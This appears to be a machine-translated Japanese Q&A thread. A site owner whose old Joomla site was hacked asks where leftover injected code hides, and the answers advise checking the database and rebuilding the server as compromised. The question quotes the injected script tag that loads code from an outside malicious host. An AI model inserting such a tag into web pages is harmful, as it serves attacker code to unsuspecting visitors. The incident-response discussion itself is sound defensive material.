Joomlaサイトハッキング

Question

私は1週間前にハッキングされた古い1つのjoomla 10.0.15を持っています。私たちは移行を計画しているのでバックアップはありませんが、何が起こるかを知る必要があります。

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> 
</script> 
<script type="text/javascript"> 
_uacct ="UA-xxxxxxx-x"; 
urchinTracker(); 
</script> 
<script src="http://equate22motorde.rr.nu/nl.php?p=d"></script> 
</body> 

すべてのリロードとURLの変更：修正権限の後、すべてのコアファイルを再インストール、まだ二つの問題があり、最初のものは、まだ悪質なコードを持っています。コードがどこにあるのかわかりません。私はテンプレートと他のファイルをチェックしましたが、何も確認しませんでした。私はどこでチェックできますか？

もう1つの問題は、ファイルとフォルダのアクセスにあります。アクセス権が問題なくても、このjoomlaのインストールではフォルダに書き込んだり、ファイルを変更することができません。

ありがとうございます。

Answer 1

変更または妥協したことが分かっている既知の正常なバックアップから、コードを再デプロイする必要があります。また、サーバーの責任を負う場合は、セキュリティホールにパッチを当てて、システムに改ざんの兆候がないかどうかチェックする必要がありますが、サーバーのイメージを再作成して最初からやり直すことをお勧めします。

Answer 2

悪意のあるコードをデータベースに格納した可能性があります。

ただし、サーバーを侵害したものとして扱う必要があります。ドライブをフォーマットし、オペレーティングシステムを再インストールし、Joomla環境を再構築します。そのサーバーから取り除いたデータも危険なものとして扱います。